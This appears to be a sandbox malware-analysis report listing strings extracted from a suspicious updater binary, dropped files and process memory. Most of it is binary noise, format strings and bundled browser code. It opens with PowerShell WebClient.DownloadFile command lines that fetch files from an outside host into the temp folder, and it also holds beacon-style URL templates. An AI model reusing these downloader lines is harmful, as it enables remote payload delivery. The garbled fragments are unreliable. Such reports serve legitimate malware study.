$client = new-object System.Net.WebClient;$client.DownloadFile('http://raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.4','%TEMP%\psg256B.tmp')
Ansi based on Process Commandline (powershell.exe)
$client = new-object System.Net.WebClient;$client.DownloadFile('http://raa.qwepoii.org/v4/gtg/vboxxharddisk_vb47a275fd-833fcbff?action=visit.psgo.6','%TEMP%\psg36A2.tmp')
Ansi based on Process Commandline (powershell.exe)
$dvKo &3FcB
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
$ERX\
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
$F}aBT([_
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
$let=nwojc ytmNtWblet$letDwlaFl(ht:/2rny3vkcodrn.e/rvd?let=ss,%'
Ansi based on Dropped File (kokoko.dll.2691425955)
$ou`8rr
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
$v2JMF:U}
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
%",$UB O>
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
%#.16g
Ansi based on Hybrid Analysis (Updater_20170427_newmm.exe.dll.bin)
%%SystemRoot%%\System32\LogFiles\WMI\trace.log
Unicode based on Dropped File (ttttt.exe.179545488)
%-16s: %d
Unicode based on Dropped File (hhhhh.exe.655875088)
%-18s pid: %-6d type: %-13s %-25s %4X: %s
Unicode based on Dropped File (hhhhh.exe.655875088)
%-18s pid: %-6d type: %-13s %4X: %s
Unicode based on Dropped File (hhhhh.exe.655875088)
%-2d %-20s %5d 0x%08I64X
Unicode based on Dropped File (ttttt.exe.179545488)
%-2d %-20s %5d 0x%08X 0x%016I64X 0x%016I64X
Unicode based on Dropped File (ttttt.exe.179545488)
%-2d Group: %s
Unicode based on Dropped File (ttttt.exe.179545488)
%-6d type: %-13s %4X: %s
Unicode based on Dropped File (hhhhh.exe.655875088)
%.$(%!+(&
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
%.0Lf
Ansi based on Dropped File (kokoko.dll.2691425955)
%.4x Hook: %s
Unicode based on Dropped File (ttttt.exe.179545488)
%02x%02x%02x%02x%02x%02x
Ansi based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
%08x-%04x-%04x-%02x%02x-%02x%02x%02x%02x%02x%02x
Unicode based on Dropped File (ttttt.exe.179545488)
%2(_a*9o7
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
%3d %-25ws %10d %5d %10d
Ansi based on Dropped File (ttttt.exe.179545488)
%4X: %-13s %s
Unicode based on Dropped File (hhhhh.exe.655875088)
%4X: %-5s (%c%c%c) %s
Unicode based on Dropped File (hhhhh.exe.655875088)
%546 @:8A
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
%71292121412p~Dfn[
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
%7g,ZMQM7
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
%9Pw*qb]
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
%^t/x:) C
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
%^ZMH\6]
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
%b %d %H : %M : %S %Y
Ansi based on Dropped File (kokoko.dll.2691425955)
%d / %m / %y
Ansi based on Dropped File (kokoko.dll.2691425955)
%d Kb
Unicode based on Dropped File (ttttt.exe.179545488)
%d%s%d
Unicode based on Dropped File (kokoko.dll.2691425955)
%d%s%d%s%d%s%d
Unicode based on Dropped File (kokoko.dll.2691425955)
%dgVBEh8S
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
%eTIlAz:|
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
%H : %M
Ansi based on Dropped File (kokoko.dll.2691425955)
%H : %M : S
Ansi based on Dropped File (kokoko.dll.2691425955)
%I : %M : %S %p
Ansi based on Dropped File (kokoko.dll.2691425955)
%I64d bytes
Unicode based on Dropped File (hhhhh.exe.655875088)
%I~#q!Yl[
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
%JxI?v]O6-
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
%m / %d / %y
Ansi based on Dropped File (kokoko.dll.2691425955)
%oqK%P$q(
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
%ProgramFiles%
Ansi based on Dropped File (MIO.dll.1862922135)
%s %5s %d %d %d
Unicode based on Dropped File (ttttt.exe.179545488)
%s %5d 0x%08I64x
Unicode based on Dropped File (ttttt.exe.179545488)
%s "%s%s",%s
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
%s Filter.
Unicode based on Dropped File (ttttt.exe.179545488)
%s License Agreement
Unicode based on Dropped File (hhhhh.exe.655875088)
%s pid: %d %s
Unicode based on Dropped File (hhhhh.exe.655875088)
%s%s%s
Unicode based on Dropped File (kokoko.dll.2691425955)
%s%s?action=%s.install.finish
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
%s%s?action=%s.install.init
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
%s%s?action=sxa.geoip&update4=channel,%s
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
%s(%d)
Unicode based on Dropped File (hhhhh.exe.655875088)
%s(%d): %d
Unicode based on Dropped File (hhhhh.exe.655875088)
%s\%s
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
%s\%s:%x
Unicode based on Dropped File (hhhhh.exe.655875088)
%s\Drivers\%s
Unicode based on Dropped File (hhhhh.exe.655875088)
%s\Enum
Unicode based on Dropped File (hhhhh.exe.655875088)
%s\Security
Unicode based on Dropped File (hhhhh.exe.655875088)
%s_%08X
Unicode based on Hybrid Analysis (Updater_20170427_newmm.exe.dll.bin)
%s_%s
Unicode based on Hybrid Analysis (Updater_20170427_newmm.exe.dll.bin)
%TEMP%
Unicode based on Dropped File (hhhhh.exe.655875088)
%u_%u
Unicode based on Hybrid Analysis (Updater_20170427_newmm.exe.dll.bin)
%W>1d|r-x
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
%windir%\tracing
Unicode based on Runtime Data (QQBrowser.exe )
%X %X
Ansi based on Dropped File (ttttt.exe.179545488)
& 0x7f); if (seq != seqno++) { console.log(UTIL_fmt( '[' + Gnubby.hexCid(self.cid) + '] bad cont frame ' + UTIL_BytesToHex(f))); schedule_cb(-GnubbyDevice.INVALID_SEQ); return; } // Copy payload. for (var
Ansi based on Runtime Data (CPK.exe )
&$v3B
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
&%1*$k%nj
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
&&_v8
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
&&{xp+x&s
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
&*p.4LHA E
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
&341#341!341
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
&7Mdwc`S3
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
&>B8/q(XM
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
&``x~[a5g\
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
&Agree
Unicode based on Dropped File (hhhhh.exe.655875088)
&aQ/&v^Gjq
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
&cH$Y
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
&c}????G ?d
Ansi based on Runtime Data (rundll32.exe )
&Decline
Unicode based on Dropped File (hhhhh.exe.655875088)
&esvstct1001
Ansi based on Dropped File (kokoko.dll.2691425955)
&fSKxB"Lz
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
&lA^@GfQd
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
&Print
Unicode based on Dropped File (hhhhh.exe.655875088)
&r"(*u^J$
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
&r(&`a]\-xR1
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
&YT)B\}tj
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
&|/pT53yo
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
&|S4d
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
' is not a number.
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
'%N&=*eKl
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
', PRIMARY_USER: 'primary_user', RECOMMENDED: 'recommended', USER_POLICY: 'userPolicy',};/** @polymerBehavior */var CrPolicyIndicatorBehavior = { /** * @param {CrPolicyIndicatorType} type * @return {boolean} True if the indicator should be sh
Ansi based on Runtime Data (CPK.exe )
',};var DOES_LOAD_SUBTYPE_NAME_EXIST={};for(var key in LOAD_SUBTYPE_NAMES){DOES_LOAD_SUBTYPE_NAME_EXIST[LOAD_SUBTYPE_NAMES[key]]=true;}function LoadExpectation(parentModel,initiatorTitle,start,duration){if(!DOES_LOAD_SUBTYPE_NAME_EXIST[initiatorTitle])throw
Ansi based on Runtime Data (CPK.exe )
'0ncQ
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
'8b8i
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
'????
Ansi based on Runtime Data (rundll32.exe )
'?[?zA
Ansi based on Runtime Data (rundll32.exe )
'?L5??
Ansi based on Runtime Data (rundll32.exe )
'BK=eX7A{
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
'B{N|5/2D#D
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
'E-%,t[ty!
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
'editor-content');var buttonsRow=this.element.createChild('div','editor-buttons');this._commitButton=createTextButton('',this._commitClicked.bind(this));buttonsRow.appendChild(this._commitButton);this._cancelButton=createTextButton(Common.UIString('Cancel'),th
Ansi based on Runtime Data (CPK.exe )
'H#GGkL$W
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
'hc((4
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
'l+pj7]Dj
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
'l1),o!8\
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
'm`???w??x-@4??H??/
Ansi based on Runtime Data (rundll32.exe )
'P@vG}{dD
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
'VOTxDYm
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
("%s \x3e %s",g));g=Je(a,f);var l=gf(a.length-0,f),n=f=0,q,v,H,lb,Aa;if(null==a)throw new hf("src");if(null==g)throw new hf("dest");lb=za(a);v=za(g);Jc(0!=(lb.f&4),"srcType is not an array");Jc(0!=(v.f&4),"destType is not an array");H=lb.c;q=v.c;Jc(0!=(H.f&1)?
Ansi based on Runtime Data (CPK.exe )
('tEic
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
((((( H
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
().updateIsEnterpriseManaged_(isEnterpriseManaged); }; HelpPage.updateCurrentChannel = function(channel) { if (!cr.isChromeOS) return; HelpPage.getInstance().updateCurrentChannel_(channel); }; HelpPage.updateTargetChannel = function(cha
Ansi based on Runtime Data (CPK.exe )
(-^ <20#pL^
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
(141@1L1X1d1p1|1
Ansi based on Dropped File (hhhhh.exe.655875088)
(545@5L5X5d5p5|5
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
(6zWD
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
(:!,V1Z{K
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
(???L%R4?o?&D?AY?xK?>??l5uO?9????
Ansi based on Runtime Data (rundll32.exe )
(ARCSTARTROT + (360-ARCSIZE)) */ -webkit-animation-iteration-count: infinite; -webkit-animation-timing-function: linear; } /* Filling and unfilling the arc */ @-webkit-keyframes fillunfill { from { stroke-d
Ansi based on Runtime Data (CPK.exe )
(C/9Go]Zq,
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
(fG[D%S3
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
(GG#y0A.l
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
(null)
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
(Ohy11UbV
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
(Qev7% :sg
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
(QK@\
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
(V??"g?R??HO???p??9{?Z
Ansi based on Runtime Data (rundll32.exe )
) "Ni
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
))}function ye(n,t,e){++pc,dc+=(n-dc)/pc,mc+=(t-mc)/pc,yc+=(e-yc)/pc}function xe(){function n(n,u){n*=Na;var i=Math.cos(u*=Na),o=i*Math.cos(n),a=i*Math.sin(n),c=Math.sin(u),s=Math.atan2(Math.sqrt((s=e*c-r*a)*s+(s=r*o-t*c)*s+(s=t*a-e*o)*s),t*o+e*a+r*c);vc+=s,xc
Ansi based on Runtime Data (CPK.exe )
)-4mj{R#}
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
)/|i]kkj^#kb]
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
)4-Sznv@v
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
); encoder.encodeStruct(codec.String, val.sink_id); encoder.encodeStruct(codec.String, val.original_presentation_id); encoder.encodeStruct(codec.String, val.origin); encoder.encodeStruct(codec.Int32, val.tab_id); packed = 0; packe
Ansi based on Runtime Data (CPK.exe )
);}}_renderTimeCell(cell){if(this._request.duration>0){this._setTextAndTitle(cell,Number.secondsToString(this._request.duration));this._appendSubtitle(cell,Number.secondsToString(this._request.latency));}else{cell.classList.add('network-dim-cell');this._setT
Ansi based on Runtime Data (CPK.exe )
)?q??|?9?%&H???4|??c
Ansi based on Runtime Data (rundll32.exe )
)Jpf/]~/K
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
)k4G_M
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
)nZ]Jx (?
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
)oOtIuN7I
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
)t@?SOZ,?bTQ
Ansi based on Runtime Data (rundll32.exe )
)x'Ts(M'
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
)Z$gc
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
)ZP*Sy@Hn
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
){-jY_x
Ansi based on PCAP Processing (PCAP)
* @param {!Event} event * @private */ onAutofillTap_: function(event) { // Ignore clicking on the toggle button and verify autofill is enabled. if (Polymer.dom(event).localTarget != this.$.autofillToggle && this.getPref('autofill.enab
Ansi based on Runtime Data (CPK.exe )
* Creates a new URL which is the old URL with a GET param of key=value. * @param {string} url The base URL. There is not sanity checking on the URL so * it must be passed in a proper format. * @param {string} key The key of the param. * @param {string}
Ansi based on Runtime Data (CPK.exe )
* Creates and returns a error route response from given Error object. * @param {!Error} error * @return {!Object} */ function toErrorRouteResponse_(error) { return { error_text: error.message, result_code: getRouteRequestResul
Ansi based on Runtime Data (CPK.exe )
*/ getMaxWidthToFit : function(element) { var maxAllowedWidth = $('outer-container').offsetWidth - element.getBoundingClientRect().left - parseInt(window.getComputedStyle(element).marginLeft) - parseInt(wi
Ansi based on Runtime Data (CPK.exe )
*/7((M4}w
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
*2>G+
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
*53Md'p}-N
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
*6K[nW7d
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
*7=/qd414C6w
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
*???F?'01J???B`
Ansi based on Runtime Data (rundll32.exe )
*?G?)?:?
Ansi based on Runtime Data (rundll32.exe )
*]W"Ja:C3
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
*g?Iv?&v?F?y_???*??{?xt4???
Ansi based on Runtime Data (rundll32.exe )
*IdvO8& 2a
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
*J>.L-c
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
*LFQDDS\$
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
*nK"Hf[h~]
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
*Or+Hdhd
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
*p4&?
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
*v}^5aE1WV
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
*Z~@T
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
+ $client = new-object System.Net.WebClient; $client.DownloadFile <<<< ('http:/
Unicode based on Runtime Data (powershell.exe )
+ $client = new-object System.Net.WebClient;$client.DownloadFile <<<< ('http://
Unicode based on Runtime Data (powershell.exe )
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
Unicode based on Runtime Data (powershell.exe )
+ FullyQualifiedErrorId : DotNetMethodException
Unicode based on Runtime Data (powershell.exe )
+ H/zO)^
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
+"d{-jY^
Ansi based on PCAP Processing (PCAP)
+"J]jZ)j:
Ansi based on PCAP Processing (PCAP)
+$9+)xCxr
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
+,Z:O<r$N|
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
+??<?
Ansi based on Runtime Data (rundll32.exe )
+@wR?0="
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
+A+3Bt
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
+ct+?%|x?|?/?r???c????'???C??
Ansi based on Runtime Data (rundll32.exe )
+feA4NR-
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
+HARD_FAULTS+PROFILE
Unicode based on Dropped File (ttttt.exe.179545488)
+LboXbitE
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
+PrJnJNx83
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
+R?`:
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
+s5BS+[c~
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
+sWw"
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
+T$pVJ
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
+v$x+v$xv$+xv+$xv$+x+$vx+$vx$v+x+$vx$+vx+v $+v $v $+v +$v $++$ v+$ v$ v++$ v$+ v+xv$+ v$v$ +v+ $v$ ++x$v+ $v$v ++ $v$ +v
Ansi based on Dropped File (kokoko.dll.2691425955)
+W#2_j
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
, /iN%6{P
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
, 0, 1, 0, 0, 0, 0, 1); } 11.41% { transform: matrix3d(0.948, 0, 0, 0, 0, 0.948, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } 15.12% { transform: matrix3d(0.976, 0, 0, 0, 0, 0.976, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1); } 18.92% { transform: matrix3d(0.996
Ansi based on Runtime Data (CPK.exe )
, MMMM dd, yyyy
Unicode based on Dropped File (hhhhh.exe.655875088)
, undefined, true); localSetting.set({s: 'local', n: 1}); var globalSetting = Common.settings.createSetting('global', undefined, false); globalSetting.set({s: 'global', n: 2}); } function reset() { Runtime.experiments.clearForT
Ansi based on Runtime Data (CPK.exe )
,$Vc=:s&
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
,'%s')
Unicode based on Hybrid Analysis (CPK.exe , 00056905-00001036.00000000.57406.00401000.00000020.mdmp)
,)?]6h#U}j
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
,,C`|/z;C
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
,1y45&gN
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
,2bes@\CBWA
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
,<ellipsis>
Ansi based on Dropped File (kokoko.dll.2691425955)
,??e0@???Ngr^$?~o?o??
Ansi based on Runtime Data (rundll32.exe )
,?o???
Ansi based on Runtime Data (rundll32.exe )
,a:=s0H4
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
,ae=R
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
,b .p'(7/q
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
,B6*Es
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
,pkW>\{3
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
,Q,$#AQ]t
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
,sC9{CpRs
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
,u)},Za.darker=function(n){return n=Math.pow(.7,arguments.length?n:1),gt(~~(n*this.r),~~(n*this.g),~~(n*this.b))},Za.hsl=function(){return mt(this.r,this.g,this.b)},Za.toString=function(){return"#"+vt(this.r)+vt(this.g)+vt(this.b)};var Va=Xo.map({aliceblue:157
Ansi based on Runtime Data (CPK.exe )
,YmMcOmM{Oq-
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
,z=n}0/%O^gf
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
- abort() has been called
Unicode based on Memory/File Scan (CPK.exe , 00056905-00001036.00000000.57406.00412000.00000002.mdmp)
- not enough space for thread data
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
-$!&#,"&(W
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X}
Unicode based on Dropped File (hhhhh.exe.655875088)
-+?of???<r?C?~??}
Ansi based on Runtime Data (rundll32.exe )
---------------------- Enable Information ----------------
Unicode based on Dropped File (ttttt.exe.179545488)
---------------------- Enable Information --------------------------------------
Unicode based on Dropped File (ttttt.exe.179545488)
----------------------------------
Unicode based on Dropped File (ttttt.exe.179545488)
--------------------------------------
Unicode based on Dropped File (ttttt.exe.179545488)
-----------------------------------------
Unicode based on Dropped File (ttttt.exe.179545488)
-------------------------------------------------------
Unicode based on Dropped File (ttttt.exe.179545488)
------------------------------------------------------------
Unicode based on Dropped File (ttttt.exe.179545488)
--------------------------------------------------------------
Ansi based on Dropped File (ttttt.exe.179545488)
------------------------------------------------------------------------------
Unicode based on Dropped File (hhhhh.exe.655875088)
-/:/6,0/0t
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
-04 12:36:14
Unicode based on Memory/File Scan (QQBrowser.exe , 00060649-00002620.00000002.67144.509C5000.00000002.mdmp)
-? Display usage information
Unicode based on Dropped File (ttttt.exe.179545488)
-??':D[JA
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
-?Oh*%
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
-a Dump all handle information.
Ansi based on Dropped File (hhhhh.exe.655875088)
-accepteula
Unicode based on Dropped File (hhhhh.exe.655875088)
-addautologger
Unicode based on Dropped File (ttttt.exe.179545488)
-addautologger [LoggerName]
Unicode based on Dropped File (ttttt.exe.179545488)
-addtotriagedump Write out buffers for triage memory dumps
Unicode based on Dropped File (ttttt.exe.179545488)
-AZ-Cyrl
Unicode based on Dropped File (UAC.dll.626400535)
-az-cyrl
Unicode based on Dropped File (hhhhh.exe.655875088)
-AZ-Latn
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
-b <n> Sets buffer size to <n> Kbytes
Unicode based on Dropped File (ttttt.exe.179545488)
-ba-cyrl
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
-BA-Cyrl
Unicode based on Dropped File (hhhhh.exe.655875088)
-BA-Latn
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
-brazilian
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
-bt <n> Specify n buffers to get filled before start flushing them
Unicode based on Dropped File (ttttt.exe.179545488)
-buffering Enable tracing in buffering mode
Unicode based on Dropped File (ttttt.exe.179545488)
-c Closes the specified handle (interpreted as a hexadecimal number). You must specify the process by its PID.
Ansi based on Dropped File (hhhhh.exe.655875088)
-capturestate
Unicode based on Dropped File (ttttt.exe.179545488)
-capturestate [LoggerName]
Unicode based on Dropped File (ttttt.exe.179545488)
-cm Enable registry calls tracing
Unicode based on Dropped File (ttttt.exe.179545488)
-critsec Use this for CritSec Guid
Unicode based on Dropped File (ttttt.exe.179545488)
-disable
Unicode based on Dropped File (ttttt.exe.179545488)
-disable [LoggerName] Disables providers for the [LoggerName] session
Unicode based on Dropped File (ttttt.exe.179545488)
-disableex
Unicode based on Dropped File (ttttt.exe.179545488)
-dpcisr Enable kerenl events for DPC/ISR analysis
Unicode based on Dropped File (ttttt.exe.179545488)
-enable
Unicode based on Dropped File (ttttt.exe.179545488)
-enable [LoggerName] Enables providers for the [LoggerName] session
Unicode based on Dropped File (ttttt.exe.179545488)
-enableex
Unicode based on Dropped File (ttttt.exe.179545488)
-enumguid
Unicode based on Dropped File (ttttt.exe.179545488)
-enumguid Enumerate Registered Trace Guids
Unicode based on Dropped File (ttttt.exe.179545488)
-EventIdFilter -<in|out> <n> <id1 id2 ...>
Unicode based on Dropped File (ttttt.exe.179545488)
-ExeFilter <Executable names>
Unicode based on Dropped File (ttttt.exe.179545488)
-existant Process>
Unicode based on Dropped File (hhhhh.exe.655875088)
-f@FeC)JQI
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
-filter
Unicode based on Dropped File (ttttt.exe.179545488)
-fio Enable file I/O tracing
Unicode based on Dropped File (ttttt.exe.179545488)
-flag <n> Enable Flags passed to the providers
Unicode based on Dropped File (ttttt.exe.179545488)
-ft <n> Set flush timer to n seconds
Unicode based on Dropped File (ttttt.exe.179545488)
-gs Generate Global Squence Numbers
Unicode based on Dropped File (ttttt.exe.179545488)
-hf Enable hard faults tracing
Unicode based on Dropped File (ttttt.exe.179545488)
-hybridshutdown [stop|persist]
Unicode based on Dropped File (ttttt.exe.179545488)
-img Enable image load tracing
Unicode based on Dropped File (ttttt.exe.179545488)
-independent Enable independent mode on the trace session
Unicode based on Dropped File (ttttt.exe.179545488)
-kb Use KiloBytes for Log File size.
Unicode based on Dropped File (ttttt.exe.179545488)
-kd Enable tracing in kernel debugger
Unicode based on Dropped File (ttttt.exe.179545488)
-l Just show pagefile-backed section handles.
Ansi based on Dropped File (hhhhh.exe.655875088)
-level <n> Enable Level passed to the providers
Unicode based on Dropped File (ttttt.exe.179545488)
-LogFileMode
Unicode based on Dropped File (ttttt.exe.179545488)
-lp Lists the providers enabled to each session returned by a query
Unicode based on Dropped File (ttttt.exe.179545488)
-luxembourg
Unicode based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
-matchallkw <n> MatchAllKeyword to the providers
Unicode based on Dropped File (ttttt.exe.179545488)
-max <n> Sets maximum buffers
Unicode based on Dropped File (ttttt.exe.179545488)
-min <n> Sets minimum buffers
Unicode based on Dropped File (ttttt.exe.179545488)
-newfile
Unicode based on Dropped File (ttttt.exe.179545488)
-newfile <n> Log to a new file after every n Mbytes. File name needs to contain %%d
Unicode based on Dropped File (ttttt.exe.179545488)
-nodisk Disable Disk I/O tracing
Unicode based on Dropped File (ttttt.exe.179545488)
-nonet Disable Network TCP/IP tracing
Unicode based on Dropped File (ttttt.exe.179545488)
-noprocess Disable Process Start/End tracing
Unicode based on Dropped File (ttttt.exe.179545488)
-O!4uhIhK
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
-ojyee\kL|
Ansi based on Memory/File Scan (Updater_20170427_newmm.exe.dll.bin)
-p Dump handles belonging to process (partial name accepted).
Ansi based on Dropped File (hhhhh.exe.655875088)
-paged Use pageable memory for buffers
Unicode based on Dropped File (ttttt.exe.179545488)
-pf Enable page faults tracing
Unicode based on Dropped File (ttttt.exe.179545488)
-PidFilter <n> <pid1 pid2 ... >
Unicode based on Dropped File (ttttt.exe.179545488)
